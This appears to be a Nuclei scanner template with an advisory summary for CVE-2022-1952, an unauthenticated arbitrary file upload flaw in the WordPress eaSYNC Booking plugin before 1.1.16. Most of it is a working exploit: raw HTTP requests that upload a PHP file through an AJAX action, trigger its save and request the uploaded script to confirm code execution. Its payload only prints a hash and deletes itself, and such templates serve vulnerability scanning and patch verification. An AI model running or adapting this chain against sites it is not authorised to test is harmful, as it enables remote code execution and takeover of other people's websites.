WordPress eaSync Booking plugin bundle for hotel, restaurant and car rental before 1.1.16 is susceptible to arbitrary file upload. The plugin contains insufficient input validation of an AJAX action. An allowlist of valid file extensions is defined but is not used during the validation steps. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
PoC代码[已公开]
id: CVE-2022-1952
info:
name: WordPress eaSYNC Booking <1.1.16 - Arbitrary File Upload
author: theamanrawat
severity: critical
description: |
WordPress eaSync Booking plugin bundle for hotel, restaurant and car rental before 1.1.16 is susceptible to arbitrary file upload. The plugin contains insufficient input validation of an AJAX action. An allowlist of valid file extensions is defined but is not used during the validation steps. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could result in remote code execution, allowing an attacker to take complete control of the affected WordPress site.
remediation: |
Update to the latest version of the WordPress eaSYNC Booking plugin (1.1.16) or apply the vendor-provided patch to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/ecf61d17-8b07-4cb6-93a8-64c2c4fbbe04
- https://wordpress.org/plugins/easync-booking/
- https://nvd.nist.gov/vuln/detail/CVE-2022-1952
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/cyllective/CVEs
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-1952
cwe-id: CWE-434
epss-score: 0.89826
epss-percentile: 0.99549
cpe: cpe:2.3:a:syntactics:free_booking_plugin_for_hotels\,_restaurant_and_car_rental:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: syntactics
product: free_booking_plugin_for_hotels\,_restaurant_and_car_rental
framework: wordpress
tags: cve,cve2022,wpscan,wordpress,easync-booking,unauth,wp,file-upload,wp-plugin,intrusive,syntactics
variables:
string: "CVE-2022-1952"
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID=a0d5959357e474aef655313f69891f37
Content-Type: multipart/form-data; boundary=------------------------98efee55508c5059
--------------------------98efee55508c5059
Content-Disposition: form-data; name="action"
easync_session_store
--------------------------98efee55508c5059
Content-Disposition: form-data; name="type"
car
--------------------------98efee55508c5059
Content-Disposition: form-data; name="with_driver"
self-driven
--------------------------98efee55508c5059
Content-Disposition: form-data; name="driver_license_image2"; filename="{{randstr}}.php"
Content-Type: application/octet-stream
<?php echo md5("{{string}}");unlink(__FILE__);?>
--------------------------98efee55508c5059--
- |
GET /wp-admin/admin-ajax.php?action=easync_success_and_save HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID=a0d5959357e474aef655313f69891f37
- |
GET /wp-content/uploads/{{filename}}.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body_3
words:
- '{{md5(string)}}'
extractors:
- type: regex
name: filename
group: 1
regex:
- 'wp-content\\\/uploads\\\/([0-9a-zA-Z]+).php'
internal: true
# digest: 490a00463044022039fcca907800e8c4ce7fa14d2fed77f1bd84465a70dbf2130c11cbf3519a915802206408281ae169a433e659f02254ae6c1c9f62de006cd2b839c9f22a5f20204c72:922c64590222798bb761d5b6d8e72950